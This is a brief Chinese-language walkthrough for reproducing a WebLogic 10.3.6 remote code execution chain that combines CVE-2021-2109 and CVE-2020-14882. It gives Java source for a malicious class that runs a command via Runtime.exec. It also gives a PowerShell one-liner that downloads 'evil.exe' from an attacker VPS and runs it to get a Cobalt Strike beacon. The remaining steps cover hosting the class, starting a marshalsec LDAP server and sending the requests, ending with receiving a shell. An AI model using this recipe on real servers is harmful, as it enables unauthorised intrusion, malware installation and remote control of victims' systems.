开始安装：

| Java -D64 -jar wls1036_generic.jar |

设置密码

搭建完毕

漏洞复现

准备工作：

ldap包下载 https://github.com/RandomRobbieBF/marshalsec-jar/archive/master.zip
构造java包进行编译：Request.java

| import java.io.BufferedReader;  import java.io.InputStream;  import java.io.InputStreamReader; public class Request{  public Request() throws Exception {  Process p = Runtime.getRuntime().exec(new String[]{"cmd","/c","calc.exe"});  InputStream is = p.getInputStream();  BufferedReader reader = new BufferedReader(new InputStreamReader(is));  String line;  while((line = reader.readLine()) != null) {  System.out.println(line);  }   p.waitFor();  is.close();  reader.close();  p.destroy();  }  } | 

如想上线CS把calc.exe修改为下载cs木马并执行命令

cd ../../Windows/Temp && powershell (new-object System.Net.WebClient).DownloadFile(‘http://vps/123.jpg’,’evil.exe’) & evil.exe

进行编译：注意目标环境是什么jdk就用什么jdk版本进行编译

编译好class包后上传到vps

开启http服务，下面放编译好的class包

用下载好的marshalsec包开启ldap服务：

通过burp请求:配合
CVE-2021-2109（ldap远程代码执行）和CVE-2020-14882（未授权访问）

cs接收shell

限制条件：目标可以出网，能够成功构造和发送包
